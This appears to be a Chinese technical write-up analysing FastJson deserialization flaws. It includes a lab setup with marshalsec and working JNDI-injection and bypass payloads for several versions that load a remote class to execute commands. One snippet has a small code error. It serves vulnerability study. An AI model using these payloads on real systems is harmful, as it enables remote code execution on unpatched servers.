一、 基本介绍
FastJson
是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。能够将 java 对象序列化成 JSON 字符串,也能够将 JSON 字符串反序列化成 Java 对象。
当指定反序列化后的对象类型和属性信息时,会自动执行setter
方法。在 JSON 字符串中通过@type
指定反序列化的类。
JSON 字符串格式如下
先来个反序列化的测试(本篇测试环境均为:windows10,fastjson版本1.2.24,JDK版本1.8.0)
import com.alibaba.fastjson.JSON;
public class user {
private int age;
private String name;
public void setAge(int age) {
this.age = age;
System.out.print("【执行了set方法】");
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) {
String str1 = "{\"@type\":\"user\", \"age\":24, \"name\":\"jinzhi\"}";
String str2 = "{\"age\":24, \"name\":\"jinzhi\"}";
Object user;
System.out.println("--------------------------str1, 带@type----------------------------");
user = JSON.parseObject(str1);
System.out.println("解析不指定类型: " + user.getClass().getName());
user = JSON.parseObject(str1, Object.class);
System.out.println("解析指定Object类型: " + user.getClass().getName());
user = JSON.parseObject(str1, user.class);
System.out.println("解析指定user类型: " + user.getClass().getName());
System.out.println("--------------------------str2, 不带@type----------------------------");
user = JSON.parseObject(str2);
System.out.println("解析不指定类型: " + user.getClass().getName());
user = JSON.parseObject(str2, Object.class);
System.out.println("解析指定Object类型: " + user.getClass().getName());
user = JSON.parseObject(str2, user.class);
System.out.println("解析指定user类型: " + user.getClass().getName());
System.out.println("-------------------使用parse()函数, 解析时无法指定类型----------------------");
user = JSON.parse(str1);
System.out.println("带@type: " + user.getClass().getName());
user = JSON.parse(str2);
System.out.println("不带@type: " + user.getClass().getName());
}
}
结论:
根据执行set方法的情况,当反序列化代码中没有指定对象具体类型时,存在反序列化漏洞。可以通过@type指定反序列化类,并通过指定属性执行特定的setter方法。
二、 JdbcRowSetImpl利用链简单介绍
JdbcRowSetImpl
利用链是由@matthias_kaiser在2016年发现的
根据上面的结论,需要找到一个特殊的类,这个类的setter
方法中可以执行代码注入或命令注入。而com.sun.rowset.JdbcRowSetImpl
就是符合这个条件的类,通过JNDI注入实现命令执行。
- 通过fastjson反序列化可以调用执行目标类的
setter
方法来实现成员变量的赋值 - 首先找到
com.sun.rowset.JdbcRowSetImpl#connect
方法,在方法中调用lookup
方法且传参是this.getDataSourceName()
,同时该类存在setDataSourceName
方法,那么说明lookup
方法的传参是可控的 - 接下来就要找在哪里可以调用
connect
方法,根据1的结论,需要在类中找到一个setter方法,方法中调用了connect
方法。简单搜索一下,发现setAutoCommit
方法 - 所以JSON字符串中需要传入两个属性值:
DataSourceName
和AutoCommit
,前者是JNDI服务器的地址作为lookup
的传参,后者用于执行setAutoCommit
方法从而触发connect
方法的执行 - 最终构造出RCE的payload(
DataSourceName
必须放在AutoCommit
前面,因为反序列化的时候是按字符串前后顺序去调用的setter
方法赋值变量)
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}
这里采用 JNDI 服务器使用 LDAP 方式
三、 环境搭建
- 编译远程需要加载的攻击类(构造方法中能够执行命令就行)
public class ExecTest {
public ExecTest() throws Exception {
Process calc = Runtime.getRuntime().exec("calc");
}
}
javac ExecTest.java
- 在攻击类所在的目录起一个
http
服务
python3 -m http.server 8888
- 起一个JNDI服务绑定攻击类,需要用到
marshalsec
反序列化工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#ExecTest 1389
- 新建maven项目,起一个目标靶机服务,fastjson版本1.2.24,开启一个接口服务或者直接在main方法中测试都行
@Controller
@RequestMapping("/fastjson")
public class Fastjson {
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
四、反序列化流程分析(1.2.24版本)
在正是进入代码分析之前,先介绍下主要用到的类
类名 | 主要作用 |
DefaultJSONParser | JSON 词法解析器,实现反序列化的主要流程,包含主要方法的具体实现 |
JSONScanner | 专门做JSON字符串的扫描遍历工作,父类 JSONLexerBase,实现接口 JSONLexer |
lexer.token | int类型变量,用于解析JSON字符串格式。JSON字符串中预定义的字符都会对应到一个token值,比如: |
ParserConfig | 配置类,存放各种配置属性,比如 autoTypeSupport 开关、黑名单类 |
ParserConfig.deserializers | IdentityHashMap对象,和 TypeUtils.mappings 一样提前放入了一些认为没有危害的固定常用类 |
TypeUtils.mappings | 缓存需要反序列化的类的class对象,在初始化的时候会预先缓存一些常见类 |
ObjectDeserializer | 用于执行反序列化操作,每个将被反序列的类会对应一个 ObjectDeserializer 对象 |
正式开始Debug,Go
- 从
JSON.parseObject
函数进入(从JSON.parse
进入也一样,最终都是走到DefaultJSONParser#parse(java.lang.Object)
,调用链是一致的) - 跟踪代码先来到
JSON#parse(java.lang.String, int)
在函数中实例化了DefaultJSONParser解析器,从这里进去解析器中完成所有的解析过程 - 先跟进到DefaultJSONParser的构造方法中看下,可以看到同时new了一个JSONScanner对象,将json字符串封装了进去
在 JSONScanner 中,主要工作通过 ch 变量从左到右遍历 JSON 字符串,并通过getCurrent
取出当前遍历的值
继续跟到下一层构造方法中,可以看到对token值的初始化,这个token值很重要
- 跳出DefaultJSONParser的初始化,跟进到
DefaultJSONParser#parse(java.lang.Object)
,因为第一个字符是{
,会进入到以下分支中继续执行 - 接着进入
DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
,将会在这个函数中完成反序列化工作
首先从第一个字符开始遍历,根据字符进入到相应分支中。当遇到"
时可以通过scanSymbol
函数直接取出分号中的值赋值给key
然后判断key是否为@type,并进入到相应分支,然后TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
函数中通过类名加载注入的类
这个loadClass
函数需要重点分析一下,后续版本的防护被绕过就是因为这里(可以先跳过,后续再看)
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') { // 如果classname是以'['开头的就去除后在加载类对象
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) { // 如果是以'L'开头并以';'结尾,也同样去除后在加载类对象,注意这边是递归调用loadClass,所以存在后面双写绕过的漏洞
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else { // 在这个分支中,直接加载类对象后,将类对象放到缓存mappings中(这个很重要,后面的1.2.47版本绕过会用到)
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz); // 这边获取到class对象之后直接缓存到mappings中了,后续版本会增加cache变量进行控制是否缓存
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}
最后通过parser.deserializer.JavaBeanDeserializer#deserialze()
实例化类对象,注意这边将this(也就是当前DefaultJSONParser
对象作为参数又传进去了),在这个函数里面继续遍历剩下的JSON字符串,进行成员变量的赋值。
继续跟进,从parser.deserializer.JavaBeanDeserializer#parseField
到parser.deserializer.DefaultFieldDeserializer#parseField
再到parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)
- 最后,整体执行的调用链如下, 可以看到从
setValue
开始通过反射invoke
调用了目标类(JdbcRowSetImpl
)的的成员属性的setter方法,最终导致了JNDI注入,加载运行了远程类(ExecTest
)。
总结一下:
- 传入 JSON 字符串进行词法解析(
DefaultJSONParser#parseObject()
) - 获取 class 对象(
loadclass()
/checkautotype()
) - 获取 JavaObjectDeserializer(
ParserConfig#getDeserializer()
) - 反序列化获得对象(
ObjectDeserializer#deserialze()
)
五、 多个版本漏洞分析
版本 | 需要开启AutoType | 版本说明 | 漏洞原理 |
1.2.24 | 默认开启 | 最初报出漏洞的版本,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞。 | 可以通过@type属性反序列化任意类导致任意代码执行 |
<=1.2.25 | 是 | 引入了AutoTypeSupport安全开关用于关闭对@type的支持,就不能反序列化任意类了(默认关闭), | 通过类描述符( |
<=1.2.42 | 是 | 初步修复类描述符绕过方式(采用substring处理字符串,还不是递归的),并且将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究。 | 双写类描述符进行绕过 |
<=1.2.43 | 是 | 修复双写绕过问题(连续出现两个类描述符直接抛异常)。 | 使用 |
1.2.44 | 是 | 修复了使用 | |
<=1.2.45 | 是 | 出现了新的利用类直接绕过了黑名单限制 | 单纯的黑名单绕过 |
<=1.2.47 | 否 | 这个版本之前的漏洞都必须要在开启 AutoTypeSupport 的情况下才能利用。该版本中,通过利用类缓存机制(通过 | fastjson会将一些基本类型的类对象提前放到mappings中缓存,通过类缓存机制可以绕过黑白名单检测 |
1.2.48 | 是 | 修复了上个版本的漏洞在 | |
<1.2.51 | 该版本之后能够进行JNDI攻击的类基本都在黑名单中了,无法单纯依靠JDK实现JNDI注入 | ||
<=1.2.68 | 否 | 这个版本引入了safemode,彻底关闭对 | JSON字符串中连续两个@type,前一个@type的类会作为expectClass参数传入 |
1.2.25
payload:
public class fastjsonTest {
public static void main(String[] args) {
String payload_25 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}";
JSON.parseObject(payload_25);
}
}
- 相对于上一个版本的改动在于增加
checkAutoType
方法对反序列化的类进行黑白名单检查 - 这个方法需要重点分析,接下来的几个版本漏洞都和这个方法有关
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) { // 如果autoTypeSupport开启,会进入到这个分支中进行黑白名单匹配,或者expectClass不为空,也会进入这个分支
int i;
String deny; // 后续版本的黑白名单匹配会改为hash值的比较
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName); // 这是不经过黑名单检验可以获得class对象的方式,也是1.2.47版本用来绕过的点
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) { // 这又是一个不经过黑白名单就能获取class对象的点,也是1.2.68版本的漏洞点
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) { // 判断clazz是否继承/实现自expectClass
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
- 因为利用类名前后的类描述符绕过了黑名单的检测,再进入到loadClass中又脱掉了类描述符,完成class对象的加载
1.2.47
如下 JSON 字符串会被解析反序列化成两个对象,当反序列化第一个对象的时候,返回 val 属性表示的类实例并将对象放到 mappings 中。这样在反序列化第二个类的时候就绕过了 autoTypeSupport 和黑名单
payload:
public class fastjsonTest {
public static void main(String[] args) {
String payload_47 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}, \"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true\"}\"}";
JSON.parseObject(payload_68);
}
}
- 直接快进到 checkAutoType,跟进看下
- 因为 deserializers 中预先存了
java.lang.Class
这个类,所以这边直接能取到com.alibaba.fastjson.parser.ParserConfig#initDeserializers
- 接着获取 deserializer 对象(MiscCode类,这个很关键),并进行反序列化。继续跟进看下反序列化时的操作
- 进来之后会进行判断解析到的字符串,键值必须是 val 才会进入到如下分支,将 val 属性值赋值给 objVal,接着传递到 strVal(注意是字符串类型)
- 接着会进到如下分支,去加载 val 属性所表示的类对象
- 重点来了,在这个版本中,
TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
, 第三个参数默认传参为 True,而这个参数代表是否缓存类对象,由此com.sun.rowset.JdbcRowSetImpl
类被缓存到 mappings 中
- 那么接下来,再反序列化下一个类的时候,直接从 mappings 中就取到了 class 对象
1.2.68
当JSON字符串中出现两个@type,在反序列化的时候第一个类的class对象将作为expectClass传参用来反序列化生成第二个类的class对象。
同时第一个类必须通过黑白名单检测,第二个必须继承/实现第一个类,这样能够利用的类就很有限。在1.2.51版本之后,能够实现JNDI注入的类目前都在黑名单中了,所以单纯依靠JDK中的类无法再进行任意命令执行(可以通过其他第三方jar包中的类实现)。AutoCloseable
接口是满足以上条件的类,并且刚好在TypeUtils#mappings
中。目前能够直接利用的就是通过 IntputStream 和 OutputStream(实现自 AutoCloseable
接口)来进行文件的读写,但还没有公开的payload。这边就本地写个类实现 AutoCloseable
接口,测试一下。
ExecTest:
public class ExecTest implements AutoCloseable {
public ExecTest() throws Exception {
Process calc = Runtime.getRuntime().exec("calc");
}
@Override
public void close() throws Exception {
}
}
payload:
public class fastjsonTest {
public static void main(String[] args) {
String payload_68 = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"ExecTest\"}";
JSON.parseObject(payload_68);
}
}
跟进代码看下
- 获取第一个类的class对象,直接从很缓存 mappings 中获取了,然后进行反序列化获取实例对象
- 传入第二个@type参数,开始反序列化第二个类,并将第一个类实例作为expectClass传参
- 跟进
checkAutoType
,expectClass不为空所以expectClassFlag为True,进入了下面这两个分支获取并返回class对象 - 最终反序列化返回的是第二个类实例